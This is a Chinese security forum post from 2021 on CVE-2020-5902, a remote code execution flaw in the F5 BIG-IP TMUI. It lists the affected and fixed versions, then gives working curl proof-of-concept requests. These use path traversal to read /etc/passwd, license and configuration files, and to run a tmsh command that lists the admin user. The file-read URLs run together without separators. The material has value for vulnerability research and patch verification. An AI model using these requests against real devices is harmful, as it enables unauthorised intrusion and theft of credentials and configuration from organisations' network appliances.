# CVE-2020-5902 F5 BIG-IP RCE漏洞复现&exp

**URL:** <https://forum.90sec.com/t/topic/1801>\
**Category:** 宽字节安全\
**Created:** [2021 年8 月 2 日 03:01 UTC](https://forum.90sec.com/t/topic/1801 "2021-08-02T03:01:38Z")\
**Posts on this page:** 1\
**Page:** 1

<div class="post-metadata">

作者： ![unicodeSec](https://forum.90sec.com/user_avatar/forum.90sec.com/unicodesec/32/6830_2.png) [@unicodeSec](https://forum.90sec.com/u/unicodeSec)\
发布日期： [2021 年8 月 2 日 03:01 UTC](https://forum.90sec.com/t/topic/1801/1 "2021-08-02T03:01:38Z")

</div>

## 简介

BIG-IP的TMUI存在RCE漏洞

## 影响范围

版本号主要如下 11.6.x, 12.1.x, 13.1.x, 14.1.x, 15.0.x, 15.1.x

## 修复方法

升级 11.6.5.2, 12.1.5.2, 13.1.3.4, 14.1.2.6, 15.1.0.4

### 文件读取poc

```
curl -v -k  'https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd'https://<IP>/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwdhttps://<IP>/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/hostshttps://<IP>/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.licensehttps://<IP>/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.conf
```

 ![](https://potatso-1253210846.cos.ap-beijing.myqcloud.com//imgRead_File.png)
### RCE poc

```
curl -v -k  'https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin'
```

 ![](https://potatso-1253210846.cos.ap-beijing.myqcloud.com//imgRCE.png)
### 参考

1. https://twitter.com/x4ce/status/1279760648465870848